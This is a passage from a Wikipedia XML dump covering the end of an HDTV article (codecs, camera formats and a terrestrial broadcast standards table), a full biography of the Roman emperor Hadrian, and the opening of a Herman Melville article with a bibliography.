Although they disagree about physical format technology, both the HD DVD and Blu-ray factions have selected the same three video codecs to be mandatory in their designs: specifically, [[MPEG-2]] Part 2, [[VC-1]], and [[H.264]].

There are now some DVD players that will output enhanced or high-definition signals from standard-definition DVDs.  These players, however, are not considered to be true HD DVD players since they include only&lt;!--misplaced-modifier alert!--&gt; an integrated scaler to [[upconvert]] the standard-definition DVD video to high-definition video.  This upconversion process can improve the perceived picture quality of standard-definition video. Some DVD manufacturers such as [[Philips]] are licensing the [[DivX]] codec in order to play 720p/1080i content recorded on standard consumer DVD-R discs.

====HD cameras====
The standard for consumer/[[prosumer]] HDTV acquisition is [[High-Definition Video]] (HDV). It records [[MPEG-2]]TS compressed HDTV video on standard [[DV]] media (DV or [[MiniDV]] cassette tape) and transfers it using [[Firewire]]. All major Camcorder vendors provide camcorders in this segment.

Broadcast-level HD cameras often record to hard-drives via a raw input/output or to tape or flash disks in formats that&lt;!--incorrect-pronoun alert!--&gt; support higher bitrates than [[MiniDV]] cassettes such a DVCPro HD. Recording at 100 Mbits/s, it uses a better color compression method to give better color representation than a standard DV25 or MiniDV cassette and less compression artifacts.

== Table of terrestrial HDTV transmission systems ==
{| class=&quot;wikitable&quot;
|+ Main characteristics of three DTTV systems
! Systems
! ATSC !! [[DVB-T]] !! ISDB-T
|-
!colspan=&quot;4&quot; align=&quot;left&quot;| Source coding
|-
! Video
|colspan=&quot;3&quot;| Main Profile syntax of ISO/IEC 13818-2 ([[MPEG-2]] &amp;ndash; Video)
|-
! Audio
| ATSC Standard A/52 ([[Dolby AC-3]]) || ISO/IEC 13818-2 (MPEG-2 &amp;ndash; [[MP2|Layer II Audio]]) and Dolby AC-3 || ISO/IEC 13818-7 (MPEG-2 &amp;ndash; [[AAC]] Audio)
|-
!colspan=&quot;4&quot; align=&quot;left&quot;| Transmission system
|-
! Channel coding
|colspan=&quot;3&quot;|
|-
! Outer coding
| R-S (207, 187, t = 10) ||colspan=&quot;2&quot;| R-S (204, 188, t = 8)
|-
! Outer interleaver
| 52 R-S block ||colspan=&quot;2&quot;| 12 R-S block
|-
! Inner coding
| rate 2/3 [[trellis code]] ||colspan=&quot;2&quot;| [[Punctured convolution code|PCC]]: rate 1/2, 2/3, 3/4, 5/6, 7/8; constraint length = 7, Polynomials (octal) = 171, 133
|-
! Inner interleaver
| 12 to 1 trellis code || bit-wise, frequency || bit-wise, frequency, selectable time
|-
! Data randomization
|colspan=&quot;3&quot;| 16-bit [[PRBS]]
|-
! Modulation
| [[8VSB|8-VSB]] and [[16VSB|16-VSB]]
| [[COFDM]] &lt;br&gt; [[QPSK]], [[Quadrature amplitude modulation|16QAM]] and [[64QAM]] &lt;br&gt; Hierarchical modulation: multi-resolution constellation (16QAM and 64QAM) &lt;br&gt; Guard interval: 1/32, 1/16, 1/8 &amp; 1/4 of [[OFDM]] symbol &lt;br&gt; Two modes: 2k and 8k [[Fast Fourier Transform|FFT]]
| [[BST-COFDM]] with 13 frequency segments &lt;br&gt; [[DQPSK]], QPSK, 16QAM and 64QAM &lt;br&gt; Hierarchical modulation: choice of three different modulations on each segment &lt;br&gt; Guard interval: 1/32, 1/16, 1/8 &amp; 1/4 of OFDM symbol &lt;br&gt; Three modes: 2k, 4k and 8k FFT
|}

==References==
* [[Federal Standard 1037C|United States Federal Standard 1037C]]
* [[DTV channel protection ratios]]
* [[DVB]] HDTV standard
*[http://www.ebu.ch/en/technical/trev/trev_299-ive.pdf Images formats for HDTV], article from the [[European Broadcasting Union|EBU]] Technical Review .
*[http://www.ebu.ch/en/technical/trev/trev_300-wood.pdf High Definition for Europe - a progressive approach], article from the [[European Broadcasting Union|EBU]] Technical Review .
*[http://www.ebu.ch/CMSimages/en/tec_doc_t3299_tcm6-23327.pdf High Definition (HD) Image Formats for Television Production], technical report from the [[European Broadcasting Union|EBU]]
*[http://www.ebu.ch/CMSimages/en/tec_doc_t3312-2006_tcm6-42652.pdf Digital Terrestrial HDTV Broadcasting in Europe ], technical report from the [[European Broadcasting Union|EBU]]
* [http://www.worldscreen.com/archivenews4.php?filename=harris421.htm TV Azteca Plans HDTV Mexican Rollout]

==See also==
* [[Advanced Television Systems Committee]] (ATSC)
* [[ATSC tuner]]
* [[Integrated Services Digital Broadcasting]]
* [[DVB]] (Digital Video Broadcasting)
* [[Digital television]]
* HDTV input and colorspace ([[YPbPr]]/[[YCbCr]]).
* [[HD ready]]

==External links==
{{wikiquote}}
{{wiktionarypar|HDTV}}

* [http://www.atsc.org/guide_default.html ATSC]
* [http://www.hdtvmagazine.com HDTV Magazine] HDTV Resource
* [http://www.hdbeat.com HD Beat] High definition consumer information, listings and reviews.
* [http://www.hometheaternetwork.com/HTN_HDTV1.htm Home Theater Network] What to look for in HDTVs.
* [http://www.highdefforum.com HDTV Forum] Your High Definition Forum
* [http://www.hidefhardware.com Hi Definition Hardware] Useful information on Hi Definition compatible hardware.
* [http://www.hidefster.com/ HDTV Consumer Info] Information for people unfamiliar with HDTV technology.
* [http://www.ukhdtv.net UKHDTV.net] UK Resource For HDTV News &amp; Information
* [http://www.masterplan0589.com/ HDTV Broadcasting Info] Information for people looking to get HDTV 
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  <page>
    <title>High Definition TV</title>
    <id>13620</id>
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      <timestamp>2004-11-16T21:57:33Z</timestamp>
      <contributor>
        <username>Joy</username>
        <id>20318</id>
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      <minor />
      <comment>avoid double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[High-definition television]]</text>
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  <page>
    <title>Hadrian</title>
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      <timestamp>2006-03-04T03:30:49Z</timestamp>
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      <comment>/* Parthia and Asia Minor */ expand on meeting Antinous</comment>
      <text xml:space="preserve">[[Image:Hadrien-ven.JPG|thumb|A bust of Hadrian.]]
'''Publius Aelius Traianus Hadrianus''' ([[January 24]] [[76]]&amp;ndash;[[July 10]] [[138]]),  known as '''Hadrian''' in [[English language|English]], was [[Roman Empire|Roman]] [[Roman Emperors|emperor]] from [[117]]&amp;ndash;[[138]], and a member of the ''[[gens]]'' ''[[Aelius|Aelia]]''. Hadrian was the third of the &quot;[[Five Good Emperors]].&quot;However, he was, according to [[Elizabeth Speller]], the first Emperor whose assessment moved beyond the stereotype of good and bad emperors - his reign has a faltering beginning, a glorious middle but a tragic conclusion.{{ref|3phase}}.

Hadrian was born in [[Italica]], [[Baetica]] (originally [[Hispania]] Ulterior), to a well-established settler family which had originated in [[Picenum]] in [[Italy]]. He was a distant relative of his predecessor [[Trajan]]. Trajan never officially designated a successor, but, according to his wife, Trajan named Hadrian emperor immediately before his death. However, Trajan's wife was well-disposed toward Hadrian, and he may well have owed his succession to her.

==Early life==
Hadrian was born in [[Italica]], [[Baetica]], which today is near modern Seville, Spain. He was the son of the prominent [[Hispania Baetica|Baetican]] Publius Hadrianus Afer. His mother was Domitia [[Paulina]] of [[Gades]]. After his father died (probably in [[85]]) Hadrian became the ward of Acilius Attianus and the future Emperor Trajan{{ref|ward}}. Hadrian was schooled in various subjects particular to young [[aristocrat]]s of the day, and was so fond of learning [[Greece|Greek]] literature that he was nicknamed ''Graeculus'' (&quot;Little Greek&quot;).

Hadrian enlisted in the army sometime in the reign of [[Domitian]]. His first service was as a [[tribune]] of the [[Legio II Adiutrix|Legio II ''Adiutrix'']]. Later, he was to be transferred to the [[Legio I Minervia|Legio I ''Minervia'']] in [[Germany]]. When [[Nerva]] died in [[98]], Hadrian rushed to inform Trajan personally. He later became [[legate]] of a [[Roman legion|legion]] in Upper [[Pannonia]] and eventually governor of said province. He was also [[archon]] in [[Athens]] for a brief time, and was elected an Athenian citizen.

Hadrian was active in the wars against the [[Dacia]]ns (as legate of the [[Legio V Macedonica|V ''Macedonica'']]) and reputedly won awards from Trajan for his successes. Due to an absence of military action in his reign, Hadrian's military skill is not well attested, however his keen interest and knowledge of the army and his demonstrated skill of administration show possible strategic talent.

Hadrian joined Trajan's expedition against Parthia as a legate on Trajan’s staff{{ref|legate}}.  Neither during the initial victorious phase, nor during the second phase of the war when rebellion swept Mesopotamia did Hadrian do anything of note.  However when the governor of [[Syria (Roman province)|Syria]] had to be sent to sort out renewed troubles in Dacia, Hadrian was appointed as a replacement, giving him an independent command{{ref|syria}}.  By now Trajan was seriously ill and he decided to return to Rome while Hadrian remained in [[Syria (Roman province)|Syria]] to guard the Roman rear. Trajan only got as far as [[Selinus]] before he became too ill to go further.  Hadrian, however much he was the obvious successor had still not been adopted as Trajan's heir.  As Trajan lay dying, nursed by his wife, a supporter of Hadrian, Plotina, he at last adopted Hadrian as heir.  Then he died.  Allegations that the order of events was the other way round have never quite been resolved{{ref|Allegations}}.{{ref|Allegations}}.

==Securing power==
Hadrian quickly secured the support of the legions - one potential opponent, [[Lusius Quietus]], was instantly dismissed{{ref|Quietus}}. The Senate's endorsement followed when possibly falsified papers of adoption from Trajan were presented. Nevertheless, this rumor of a falsified document of adoption carried little weight. The real source of Hadrian's legitimacy arose from the endorsement of the armies of Syria and the Senate ratification. It is speculated that Trajan's wife [[Plotina]] forged the papers as historical documents and show she was quite fond of Hadrian.

Hadrian did not at first go to Rome. He had his hands tied sorting out the East and suppressing the Jewish revolt that had broken out under Trajan--then moving to sort out the [[Danube]] frontier. Instead, Attianus, Hadrian's former guardian, was put in charge in Rome.  There he &quot;discovered&quot; a plot involving four leading Senators including Lusius Quietus and demanded of the Senate their deaths.  There was no question of a trial-- they were hunted down and killed out of hand. Because Hadrian was not in Rome at the time, he was able to claim that Attianus had acted on his own initiative. According to [[Elizabeth Speller]] the real reason for their deaths was that they were Trajan's men{{ref|thefour}}.

==Hadrian and the military==
[[Image:Hadrian.JPG|thumb|left|150px|Onyx cameo portrait of Hadrian]]

Despite his own excellence as a military administrator, Hadrian's reign was marked by a general lack of major military conflicts. He surrendered Trajan's conquests in [[Mesopotamia]], considering them to be indefensible. There was almost a war with [[Parthia]] around [[121]], but the threat was averted when Hadrian succeeded in negotiating a peace. Hadrian's army crushed a massive [[Bar Kokhba's revolt|Jewish uprising]] in [[Judea]] ([[132]]-[[135]]) led by [[Bar Kokhba]].

The peace policy was strengthened by the erection of permanent fortifications along the empire's borders (''limites'', [[singular|sl.]] ''limes''). The most famous of these is the massive [[Hadrian's Wall]] in [[Britain]], and the [[Danube]] and [[Rhine]] borders were strengthened with a series of mostly wooden [[fortification]]s, forts, [[outpost]]s and [[watchtower (fortification)|watchtower]]s, the latter specifically improving communications and local area security. To maintain morale and keep the troops from getting restive, Hadrian established intensive drill routines, and personally inspected the armies.  And his coins showed military images almost as often as peaceful ones, Hadrian's policy was peace through strength, even threat{{ref|coin}}.

==Cultural pursuits and patronage==
[[Image:Mauzoleum Hadriana.jpg|thumb|[[Castel Sant'Angelo]], the ancient Hadrian [[Mausoleum]].]]

Above all Hadrian patronized the arts: [[Hadrian's Villa]] at Tibur ([[Tivoli, Italy|Tivoli]]) was the greatest Roman example of an [[Alexandria|Alexandrian]] garden, recreating a sacred landscape, lost in large part to the despoliation of the ruins by the [[Cardinal d'Este]] who had much of the marble removed to build [[Villa d'Este|his gardens]]. In [[Rome]], the [[Pantheon, Rome]] built by [[Marcus Vipsanius Agrippa|Agrippa]] was enriched under Hadrian and took the form in which it remains to this day.

Hadrian took his architectural designs very seriously but it seems no one else did. [[Apollodorus of Damascus]], architect of the [[Forum of Trajan]], dismisses his designs. When [[Trajan]], predecessor to Hadrian, consults Apollodorus about an architectural problem, Hadrian interrupts to give advice to which Apollodorus replies, &quot;Go away and draw your pumpkins. You know nothing about these problems.&quot; The pumpkins referred to Hadrian's drawings of domes like the Serapeum in his Villa. Once Hadrian succeeded Trajan to become emperor, he had Apollodorus exiled and later put to death.

Another one of Hadrian's contributions to the arts was the beard. The portraits of emperors up to this point were all clean shaven, idealized images of Greek athletes. Hadrian wore a beard as evidenced by all his portraits. Subsequent emperors would be portrayed with beards for more than a century and a half.

Hadrian was a humanist and deeply [[Hellenism|Hellenophile]] in all his tastes. While visiting Greece in [[125]] he attempted to create a kind of provincial [[parliament]] to bind all the semi-autonomous former city states across all Greece and [[Ionia]] (in [[Asia Minor]]). This parliament, known as the [[Panhellenion]], failed despite spirited efforts to instill cooperation among the Hellenes. Hadrian was especially famous for his [[Pederasty in Ancient Greece|love relationship]] with a Greek youth, [[Antinous]]. While touring [[Aegyptus (province)|Egypt]], Antinous mysteriously drowned in the [[Nile]] in [[130]]. Deeply saddened, Hadrian founded the Egyptian city of [[Antinopolis]]. Hadrian drew the whole Empire into his mourning, making Antinous the last new [[deity|god]] of [[Classical antiquity|antiquity]]. 

Hadrian died at his villa in [[Baiae]]. He was buried in a [[mausoleum]] on the western bank of the [[Tiber]], in [[Rome]], a building later transformed into a fortress, [[Castel Sant'Angelo]].

A fragment from the ''Roman History'' of [[Dio Cassius]] as translated by [[Earnest Cary]] in [[1925]] reads:

&quot;After Hadrian's death there was erected to him a huge equestrian statue representing him with a four-horse chariot. It was so large that the bulkiest man could walk through the eye of each horse, yet because of the extreme height of the foundation persons passing along on the ground below believe that the horses themselves as well as Hadrian are very small.&quot;

==Hadrian's travels==
Much of Hadrian's reign was spent traveling. Even prior to becoming Emperor, he had traveled abroad with the Roman military, giving him much experience in the matter. More than half his reign was spent outside of Italy. Other emperors often left Rome to simply go to war, returning soon after conflicts concluded. A previous Emperor, [[Nero]], once traveled through Greece and was condemned for his self indulgence. Hadrian, by contrast, traveled as a fundamental part of his governing, and made this clear to the Roman senate and the people. He was able to do this because at Rome he possessed a loyal supporter within the upper echelons of Roman society, a military veteran by the name of [[Marcius Turbo]]. Also, there are hints within certain sources that he also employed a [[secret police]] force, the [[frumentarii]], to exert control and influence in case anything should go wrong while he journeyed abroad.

Hadrian's visits were marked by handouts which often contained instructions for the construction of new public buildings. Indeed, Hadrian was willful of strengthening the Empire from within through improved infrastructure, as opposed to conquering or [[annexing]] perceived enemies. This was often the purpose of his journeys; commissioning new structures and projects and settlements. His almost evangelical belief in Greek culture strengthened his views : like many Emperors before him, Hadrian's will was almost always obeyed. His traveling court was large, including administrators and likely [[architect]]s and [[builder]]s. The burden on the areas he passed through were sometimes great. While his arrival usually brought some benefits it is possible that those who had to carry the burden were of different class to those who reaped the benefits. For example, huge amounts of provisions were requisitioned during his visit to Egypt, this suggests that the burden on the mainly [[subsistence farming|subsistence farmers]] must have been intolerable, causing some measure of [[starvation]] and [[hardship]].{{ref|travels}}

Hadrian's first tour came in [[121]] and was initially aimed at covering his back to allow himself the freedom to concern himself with his general cultural aims. He traveled north, towards [[Germania]] and inspected the Rhine-Danube frontier, allocating funds to improve the defenses. However it was a voyage to the Empire's very frontiers that represented his perhaps most significant visit; upon hearing of a recent revolt, he journeyed across the sea to Britannia.
[[Image:Hadrian's wall2.jpg|thumb|240px|[[Hadrian's Wall]], a fortification in Northern England.]]
&lt;!-- Image with unknown copyright status removed: [[Image:Antin02.jpg|thumb|240px|Antinous.]] --&gt;

===Britannia===
Prior to Hadrian's arrival in Britain  there had been a major revolt in Britannia, spanning roughly two years (119-121). It was here he initiated the building of [[Hadrian's Wall]] during [[122]]. The wall was built chiefly to safeguard the frontier province of Britain, by preventing future possible invasions from the northern country of [[Caledonia]] (now modern day [[Scotland]]). Caledonia was inhabited by tribes known to the Romans as [[Caledonians]]. Hadrian realized that the Caledonians would refuse to adapt to Roman life, that they were essentially barbarians for the time being. He also was aware that although Caledonia was conquerable, the harsh terrain and highlands made the venture a costly and unprofitable one for the Empire at large. Thus, he instead decided on building a wall. Hadrian is perhaps most famous for the construction of this wall which to date bears his name, furthermore its ruins still span many miles today. In many ways it represents Hadrian's will to consolidate and enforce within the [[Roman Empire|Empire]], rather than waging wars and conquering without. By the end of 122 he had concluded his visit to Britannia, and from there headed south by sea to [[Mauretania]].

===Parthia and Asia Minor===

[[Image:hadriangate.jpg|thumb|left|240px|[[Hadrian's Gate]] in [[Antalya]],Turkey.]]

In [[123]] he arrived in [[Mauretania]] where he personally led a campaign against local rebels.{{ref|1sttour}} However this visit was to be short, as reports came through that the Eastern nation of [[Parthia]] was again preparing for war, as a result Hadrian quickly headed eastwards. On his journey east it is known that at some point he visited [[Cyrene]] during which he personally made available funds for the training of the young men of well bred families for the Roman military. This might well have been a stop off during his journey East. Cyrene had already benefited from his generosity when he in [[119]] had provided funds for the rebuilding of public buildings destroyed in the recent Jewish revolt.{{ref|totheEast}}

When Hadrian arrived on the [[Euphrates]], he characteristically solved the problem through a negotiated settlement with the Parthian king (probably [[Chosroes]]). He then proceeded to check the Roman defenses before setting off West along the coast of the [[Black Sea]]{{ref|peace}}. He probably spent the winter in [[Nicomedia]], the main city of [[Bithynia]]. As Nicomedia had been hit by an earthquake only shortly prior to his stay, Hadrian was generous in providing funds for rebuilding. Indeed, thanks to his generosity he was acclaimed as the chief restorer of the province as a whole. It is more than possible that Hadrian visited [[Claudiopolis]] and there espied the beautiful [[Antinous]], a young boy who was destined to become the emperor's [[eromenos]] - his [[Pederasty in ancient Greece|pederastic beloved]]. Sources say nothing about when Hadrian met Antinous, however, there are depictions of Antinous that shows him as a young man of 20 or so. As this was shortly before Antinous's drowning in [[130]] Antinous would more likely have been a youth of 13 or 14.{{ref|Bithinia}} It is possible that Antinous may have been sent to Rome to be trained as [[page]] to serve the Emperor and only gradually did he rise to the status of imperial favorite. {{ref|sustainP}}

After meeting Antinous, Hadrian traveled through [[Anatolia]]. The route he took is uncertain. Various incidents are described such as his founding of a city within [[Mysia]], [[Hadrianutherae]], after a successful boar hunt. (The building of the city was probably little more than a mere whim - lowly populated wooden areas such as the location of the new city were already ripe for development). Some historians dispute whether Hadrian did in fact commission the city's construction at all. At about this time, plans to build a temple in Asia minor were written up. The new temple would be dedicated to Trajan and Hadrian and built with dazzling white marble.{{ref|HadrianutheraePer}}

===Greece===
[[Image:Athenstemplezeus.jpg|thumb|240px|right|Temple of Zeus in Athens]]
The climax of this tour was indeed the destination that the helenophile Hadrian must all along have had in mind, Greece.  He arrived in the autumn of [[124]] in time to participate in the [[Eleusinian Mysteries]]. By tradition at one stage in the ceremony the initiates were supposed to carry arms but this was waived to avoid any risk to the emperor among them. At the Athenians request he conducted a revision of their constitution - among other things a new [[phylae]] (tribe) was added bearing his name.{{ref|Athens124}}  

During the winter he toured the [[Peloponnese]]. His exact route is uncertain, however there are some tell tale signs such as reports of [[Pausanias (geographer)|Pausanias]] of temples built by Hadrian and the statue built of him by the grateful citizens of [[Epidaurus]] as thanks to their &quot;restorer&quot;. He was especially generous to [[Mantinea]] which supports the theory that Antinous was in fact already Hadrian's lover because of the strong link between Mantinea and Antinous's home in [[Bithynia]]. {{ref|Pelopon}}

By March of [[125]] Hadrian had reached [[Athens]] presiding over the festival of [[Dionysia]]. The building program that Hadrian initiated was substantial. Various rulers had done work on building a temple to Olympian [[Zeus]] - it was Hadrian who ensured that the job would be finished. He also initiated the construction of several public buildings on his own whim and even organized the building of an aqueduct.{{ref|Athens125}}

===Return to Italy===
[[Image:Pantheon Agrippa.jpg|left|thumb|230px|The [[Pantheon (Rome)|Pantheon]] was rebuilt by Hadrian.]]
On his return to Italy, Hadrian made a detour to [[Sicily]].  Coins celebrate him as the restorer of the island though there is no record of what he did to earn this accolade. {{ref|Scilly}}

Back in Rome he was able to see for himself the completed work of rebuilding the [[Pantheon, Rome|Pantheon]].  Also completed by then was Hadrian's villa nearby at [[Tibur]] - a pleasant retreat by the [[Sabine Hills]] for when Rome got too much for him.  At the beginning of March [[127]] Hadrian set off for a tour of Italy.  Once again it is mainly by records of his hand outs that allows us to reconstruct his route rather than the historical records.  For instance, in that year he restored the Picentine earth goddess [[Cupra]] in the town of [[Cupra Maritima]].  Less welcome than such largess was his decision to divide Italy into 4 regions under imperial legates with consular rank.  Being effectively reduced to the status of mere provinces did not go down well and this innovation did not long outlive Hadrian.{{ref|italy}}

Hadrian fell ill around this time, though the nature of his sickness is not known.  Whatever the illness was, it did not stop him from setting off in the spring of [[128]] to visit [[Africa]].  His arrival began with the good omen of rain ending a [[drought]].  Along with his usual role as benefactor and restorer he found time to inspect the troops and his speech to the troops survives to this day.{{ref|Africa}}

Hadrian returned to Italy in the summer of 128 but his stay was brief before setting off on another tour that would last three years{{ref|brief}}.

===Greece and Asia===
In September of [[128]] Hadrian again attended the Eleusian mysteries.  This time his visit to Greece seems to have concentrated on Athens and Sparta - the two ancient rivals for dominance of Greece.  Hadrian had played with the idea of focusing his Greek revival round [[Amphictyonic League]] based in Delphi but he by now had decided on something far grander.  His new Panhellenion was going to be a council that would bring together Greek cities wherever they might be found.  The meeting place was to the new temple to Zeus in Athens.  Having set in motion the preparations - deciding whose claim to be a Greek city was genuine would in itself take time - Hadrian set off for [[Ephesus]]. {{ref|Greece128}}

In October [[130]], while Hadrian and his entourage were sailing on the [[Nile]], Antinous drowned, for unknown reasons, though accident, suicide, murder or religious sacrifice have all been postulated. The emperor was griefstruck. He ordered Antinous deified, and cities were named after the boy, medals struck with his effigy, and statues erected to him in all parts of the empire. Temples were built for his worship in Bithynia, Mantineia in Arcadia, and Athens, festivals celebrated in his honour and oracles delivered in his name. The city of [[Antinoöpolis]] or [[Antinoe]] was founded on the ruins of [[Besa (city)|Besa]] where he died (Dio Cassius lix. 11; Spartianus, ''Hadrian'').

==Death==
Hadrian died in [[138]] in his [[Roman villa|villa]] at [[Baiae]] at age 62. Upon the completion of the [[Tomb of Hadrian]] in [[Rome]] in [[139]] by his successor [[Antoninus Pius]], his body was cremated, and his ashes were placed there together with those of his wife Sabina and his first adopted son, [[Lucius Aelius]], who also died in 138.

==Notes == 
# {{note|3phase}} Following Hadrian: Elizabeth Speller pp 61-62
# {{note|ward}} Royston Lambert, ''Beloved And God'', pp 31-32
# {{note|legate}} Anthony Birley, ''Hadrian the Restless Emperor'', p. 68
# {{note|syria}} Anthony Birley p75
# {{note|Allegations}} Elizabeth Speller p. 26
# {{note|Quietus}}  Royston Lambert
# {{note|thefour}} Elizabeth Speller
# {{note|coin}}  Elizabeth Speller p. 69
# {{note|travels}} Elizabeth Speller pp. 74-81
# {{note|1sttour}} Royston Lambert pp. 41-42
# {{note|totheEast}} Anthony Birley pp. 151-2
# {{note|peace}} Anthony Birley pp. 153-5
# {{note|Bithinia}} Anthony Birley pp. 157-8
# {{note|sustainP}} Royston Lambert pp. 60-61
# {{note|HadrianutheraePer}} Anthony Birley pp. 164-167
# {{note|Athens124}}  Anthony Birley pp. 175-7
# {{note|Pelopon}}  Anthony Birley pp. 177-180
# {{note|Athens125}}  Anthony Birley pp182-4
# {{note|Scilly}}  Anthony Birley pp. 189-90
# {{note|italy}}  Anthony Birley pp. 191-200
# {{note|ill}} Royston Lambert p. 71
# {{note|Africa}} Royston Lambert p. 71-72
# {{note|brief}}  Anthony Birley pp. 213-214
# {{note|Greece128}} Anthony Birley pp. 215-20

==References==
* Anthony R. Birley, ''Hadrian. The restless emperor'', Routledge, London 1997, ISBN 0-415-16544-X.
* Royston Lambert, ''Beloved and God: the story of Hadrian and Antinous'', Phoenix Giants, London, 1997 (första upplagan publicerad 1984), ISBN 1-85799-944-4 
* Elizabeth Speller, ''Following Hadrian: a second-century journey through the Roman Empire'' , Review, London, 2003, ISBN 0-7472-6662-X

==External links==
{{Commons|Hadrian}}
*[http://penelope.uchicago.edu/Thayer/E/Roman/Texts/Historia_Augusta/Hadrian/1*.html Historia Augusta: Life of Hadrian]
*[http://www.wildwinds.com/coins/ric/hadrian/t.html Hadrian coinage]
*[http://www.britishtours.com/rome/piazza_di_pietra.html Temple of Hadrian] Quicktime VR, Rome
*[http://www.newadvent.org/cathen/07104b.htm Catholic Encyclopedia article]
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[[Category:138 deaths]]
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[[Category:Nerva-Antonine Dynasty]]
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  <page>
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      <text xml:space="preserve">[[Image:HermanMelville55.jpg|thumb|190px|right|Herman Melville]]

'''Herman Melville''' ([[August 1]] [[1819]] &amp;ndash; [[September 28]] [[1891]]) was an [[United States|American]] [[novelist]], [[essayist]], and [[poet]]. During his lifetime his early novels were popular, but his popularity declined later in his life.  By the time of his death he had nearly been forgotten, but his masterpiece, ''[[Moby-Dick]]'', was &quot;rediscovered&quot; in the [[20th century]].

==Life==
Herman Melville was born in [[New York City]] on [[August 1]], [[1819]] as the third child to Allan and Maria Gansevoort Melvill (Maria would later add an 'e' to the surname), and received his early education in that city. One of his grandfathers, Major [[Thomas Melvill]], participated in the [[Boston Tea Party]]. Another was General [[Peter Gansevoort]] who was acquainted with [[James Fenimore Cooper]] and defended [[Fort Stanwix]] in 1777. His father had described the young Melville as being somewhat slow as a child and Melville was also weakened by the [[scarlet fever]], permanently affecting his eyesight. The family importing business went bankrupt in 1830, and the family went to [[Albany, New York]], with Herman entering [[Albany Academy]].  Prior to that year, he attended [[Columbia Grammar and Preparatory School]] in [[New York City|Manhattan]].  After the death of his father in 1832, the family (with eight children) moved to the village of [[Lansingburgh, New York|Lansingburgh]] on the [[Hudson River]]. Herman and his brother Gansevoort were forced to work to help support the family. There Herman remained until 1835, when he attended the [[Albany Classical School]] for some months.

Melville's roving disposition, and a desire to support himself independently of family assistance, led him to seek work as a surveyor on the [[Erie Canal]]. This effort failed, and his brother helped him get a job as a [[cabin boy]] in a New York vessel bound for [[Liverpool]].  He made the voyage, visited London, and returned in the same ship. ''Redburn: His First Voyage'', published in 1849, is partly founded on the experiences of this trip. A good part of the succeeding three years, from 1837 to 1840, was occupied with school-teaching. At any rate, he once more signed a ship's articles, and on January 1, 1841, sailed from [[New Bedford, Massachusetts]] harbor in the whaler ''Acushnet'', bound for the Pacific Ocean and the sperm fishery. The vessel sailed around [[Cape Horn]] and traveled to the South Pacific. He has left very little direct information as to the events of this eighteen months' cruise, although his whaling romance, ''Moby-Dick; or, the Whale,'' probably gives many pictures of life on board the Acushnet. Melville decided to abandon the vessel on reaching the Marquesas Islands. He lived among the natives of the island for several weeks and the narrative of ''Typee'' and its sequel, ''Omoo'', tell this tale. After a sojourn at the Society Islands, Melville shipped for Honolulu. There he remained for four months, employed as a clerk. He joined the crew of the American frigate United States, which reached [[Boston, Massachusetts|Boston]], stopping on the way at one of the Peruvian ports, in October of 1844. Upon his return, he recorded his experiences in the books, ''Typee'', ''Omoo'', ''Mardi'', ''Redburn'', and ''White-Jacket'', published in the following six years.

Melville married Elizabeth Shaw (daughter of noted jurist, [[Lemuel Shaw]]) on August 4,
1847. The Melvilles resided in New York City until 1850, when they purchased [[Arrowhead (Herman Melville)|Arrowhead]], a farm house in [[Pittsfield, Massachusetts]] (which is today a museum). Here Melville remained for thirteen years, occupied with his writing, and managing his farm. There he befriended [[Nathaniel Hawthorne]] who lived in the area. There he wrote ''Moby-Dick'' and ''Pierre'', works that did not achieve the same popular and critical success as his earlier books.

While at Pittsfield, because of financial reasons, Melville was induced to enter the lecture field. From 1857 to 1860 he spoke at lyceums, chiefly speaking of his adventures in the South Seas. He also became a customs inspector for the City of New York, a post he held for 19 years. After an illness that lasted a number of months, Herman Melville died at his home in New York City early on the morning of [[September 28]], [[1891]]. He was interred in the [[Woodlawn Cemetery]] in [[The Bronx]], [[New York]]. In his later life, his works no longer accessible to a broad audience, he was not able to make money from writing. He depended on his wife's family for money along with his other attempts at employment. His short novel ''[[Billy Budd (novel)|Billy Budd]]'', an unpublished manuscript at the time of his death, was published in 1924 and later turned into an [[opera]] by [[Benjamin Britten]], a play, and a film by Peter Ustinov.

In ''[[Herman Melville's Religious Journey]]'', [[Walter Donald Kring, PHD]] detailed his discovery of an old document listing Melville as a former member of the [[Unitarian]] Church of All Souls.  Until the advent of this revelation, little had been known of his religious leanings.

==Literature==
''[[Moby-Dick]]'' has become Melville's most famous work and is often considered one of the greatest American novels. It was dedicated to Melville's friend Nathaniel Hawthorne. Melville also wrote ''[[White-Jacket]], [[Typee]], [[Omoo]], [[Pierre: or, The Ambiguities|Pierre]], [[The Confidence-Man]]'' and many short stories and works of various [[genre]]s. His short story &quot;[[Bartleby the Scrivener]]&quot; is among his most important pieces, and has been considered a precursor to [[Existentialism|Existentialist]] and [[Absurdist]] literature. Melville's short stories [[The Tartarus of Maids]] and [[The Paradise of Bachelors]], as well as his posthumous novella [[Billy Budd]] have been seen by some contemporary critics as anticipating key issues in the fields of [[gender studies]] and [[queer studies]]. For example the critic [[Eve Sedgewick]] has made notable contributions to the understanding of gender and sexuality in Melville's fiction. Melville is less well known as a [[poet]] and did not publish poetry until late in life; after the [[American Civil War|Civil War]], he published ''[[Battle-Pieces]]'', which sold well. But again tending to outrun the tastes of his readers, Melville's epic length verse-narrative ''[[Clarel]]'', about a student's pilgrimage to the [[Holy Land]], was also quite unknown in his own time. This may be the longest single poem in American literature. His poetry is not as highly critically esteemed as his fiction, although some critics place him as the first modernist poet in the United States.

==The Melville Revival==
After the success of stories and [[travelogues]] based on voyages to the South Seas during his youth, Melville's popularity declined. In the later years of his life and during the years after his death he was recognized as only a minor figure in American literature. The publication in 1921 of ''[[Billy Budd]]'' and Lewis Mumford's biography ''Herman Melville: A study of His Life and Vision'' began a revival in critical studies of Melville's work. This work was followed by a string of important criticism and biography, including Jay Leyda's ''The Melville Log: A Documentary Life of Herman Melville, 1819-1891'' and Leon Howard's ''Herman Melville: A Biography''. Due to these works and the subsequent profusion of research on Melville's work Melville became universally recognized as a major canonical figure. Today he may be the most written-about American author.

==Bibliography==
=== Novels ===
* ''[[Typee]]: A Peep at Polynesian Life'' (1846)
* ''[[Omoo]]: A Narrative of Adventures in the South Seas'' (1847)
* ''[[Mardi]]: And a Voyage Thither'' (1849)
* ''[[Redburn]]: His First Voyage'' (1849)
* ''[[White-Jacket]]: or, The World in a Man-of-War'' (1850)
* ''[[Moby-Dick]]'' (1851)
* ''[[Pierre: or, The Ambiguities]]'' (1852)
* ''[[Israel Potter]]: His Fifty Years of Exile'' (1855)
* ''[[The Confidence-Man]]: His Masquerade'' (1857)
